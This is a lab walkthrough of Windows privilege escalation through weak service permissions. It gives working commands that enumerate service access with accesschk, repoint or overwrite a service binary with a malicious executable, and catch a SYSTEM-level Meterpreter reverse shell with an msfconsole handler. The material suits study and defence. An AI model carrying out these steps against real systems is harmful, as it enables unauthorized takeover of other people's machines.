Comment on page
Weak Service Permissions
This quick lab covers two Windows service misconfigurations that allow an attacker to elevate their privileges:
- 1.A low privileged user is allowed to change service configuration - for example change the service binary the service launches when it starts
- 2.A low privileged user can overwrite the binary the service launches when it starts
Let's enumerate services with
accesschk from SysInternals and look for SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG as these privileges allow attackers to modify service configuration:attacker@victim
\\vboxsvr\tools\accesschk.exe /accepteula -ucv "mantvydas" evilsvc
or
\\vboxsvr\tools\accesschk.exe /accepteula -uwcqv "Authenticated Users" *
Below indicates that the user
mantvydas has full access to the service:
Let's modify the service and point its binary to our malicious binary that will get us a meterpreter shell when the service is launched:
attacker@victim
.\sc.exe config evilsvc binpath= "c:\program.exe"
Let's fire up a multihandler in mfsconsole:
attacker@kali
msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/meterpreter/reverse_tcp; exploit"
...and start the vulnerable service:
attacker@victim
.\sc.exe start evilsvc
..and enjoy the meterpreter session:
Note that the meterpreter session will die soon since the meterpreter binary
program.exe that the vulnerable service VulnSvc kicked off, is not a compatible service binary. To save the session, migrate it to another sprocess:attacker@kali
run post/windows/manage/migrate
Even though the service failed, the session was migrated and saved:
From the first exercise, we know that our user has
SERVICE_ALL_ACCESS for the service evilsvc. Let's check the service binary path:attacker@victim
sc.exe qc evilsvc
Let's check file permissions of the binary c:\service.exe using a native windows tool
icals and look for (M)odify or (F)ull permissions for Authenticated Users or the user you currently have a shell with:attacker@victim
icacls C:\service.exe
Since c:\service.exe is (M)odifiable by any authenticated user, we can move our malicious binary c:\program.exe to c:\service.exe:
attacker@victim
cp C:\program.exe C:\service.exe
ls c:\
...and get the meterpreter shell once
sc start evilsvc is executed. Note that the shell will die if we do not migrate the process same way as mentioned earlier:
Since services usually run under
NT AUTHORITY\SYSTEM, our malicious binary gets executed with SYSTEM privileges: